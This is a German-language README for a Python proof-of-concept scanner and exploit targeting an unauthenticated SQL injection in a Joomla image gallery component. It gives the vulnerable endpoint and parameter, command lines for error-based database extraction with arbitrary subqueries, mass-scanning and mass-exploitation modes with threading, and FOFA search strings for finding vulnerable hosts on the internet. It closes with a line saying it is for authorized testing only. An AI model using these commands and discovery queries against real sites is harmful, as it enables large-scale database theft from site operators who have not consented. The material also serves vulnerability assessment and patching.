CVE-2026-88854 — OrdaSoft Joomla Gallery SQL-Injection

Python-3-PoC-Scanner/Exploit für CVE-2026-88854 in OrdaSoft OS Responsive Image Gallery für Joomla.

Zusammenfassung

showSearchResult() / showSearchResultAjax() lesen textsearch / searchText über $input->getVar(), wodurch keine ordnungsgemäße SQL-Escaping erfolgt. Der Wert wird in eine LIKE-Klausel konkateniert. Nicht authentifizierte Besucher können eine UNION-artige Injection nutzen, um Datenbankinhalte auszulesen.

Typische Request-Oberfläche:

GET /index.php?option=com_osgallery&task=showSearchResultAjax&format=raw&textsearch=...

Bei Legacy-Installationen kann der Task-Name searhResult (Tippfehler) verwendet werden.

Voraussetzungen

• Python 3.9+
• pip install -r requirements.txt

Verwendung

pip install -r requirements.txt

# Fingerprint + strikte SQLi-Prüfung (Fehler / Zeit / EXTRACTVALUE)
python poc.py -u https://target.example --mode check

# Massenprüfung
python poc.py --list targets.example.txt --mode check --threads 30 --quiet

# MySQL fehlerbasierte Auslesung (Standard-Subquery: VERSION())
python poc.py -u https://target.example --mode exploit

python poc.py -u https://target.example --mode exploit \
  --subquery "SELECT DATABASE()"

# Massen-Exploit (schreibt Leaks in exploited.txt, nicht hits.txt)
python poc.py --list targets.example.txt --mode exploit --threads 5 --quiet \
  --output exploit_results.jsonl --vuln-list exploited.txt

# Eine vorherige Massenprüfung nach Manifest-Version neu einstufen (optional)
python audit_scan.py --jsonl cve_2026_88854_results.jsonl

CLI-Optionen

Ausgabe (Massenprüfung)

Häufige status-Werte (Check)

Post-Scan-Audit (audit_scan.py)

Nach einer Massen-Prüfung audit_scan.py ausführen, um Administrator-Manifeste erneut abzurufen und Ziele aufzuteilen:

Die Galerieversion wird aus dem <version>-Element in administrator/components/com_osgallery/osgallery.xml gelesen, nicht aus dem Joomla-Attribut extension version=.

Einschränkungen

• Der Exploit-Modus verwendet MySQL fehlerbasiertes EXTRACTVALUE; MariaDB/Postgres, deaktivierte Fehler oder WAF können keinen Leak liefern, selbst wenn die CVE zutrifft.
• Boolean-Längendifferenzen allein werden nicht als bestätigte SQLi behandelt (ModSecurity 406 verursachte im Test False Positives).
• Manifest-Version ≤ 6.2.6 weist auf ein Expositionsfenster hin, nicht auf garantiert ausnutzbare SQLi auf jedem Host.
• Joomla-Installationen in Unterverzeichnissen erfordern die korrekte Basis-URL (z. B. https://host/site).

FOFA / Discovery-Hinweise

app="Joomla" && body="com_osgallery"
body="/images/com_osgallery/"

Repository-Struktur

.
├── poc.py
├── audit_scan.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore

Lokale Zieldateien und Laufzeit-Artefakte (list.txt, fofa*.csv, *.jsonl, hits*.txt, …) befinden sich in .gitignore und sollten nicht committet werden.

Referenzen

• NVD — CVE-2026-88854
• OrdaSoft Joomla Gallery

Rechtliches

Nur für autorisiertes Sicherheitstesting. Sie sind für die Einhaltung der geltenden Gesetze und Programmregeln verantwortlich.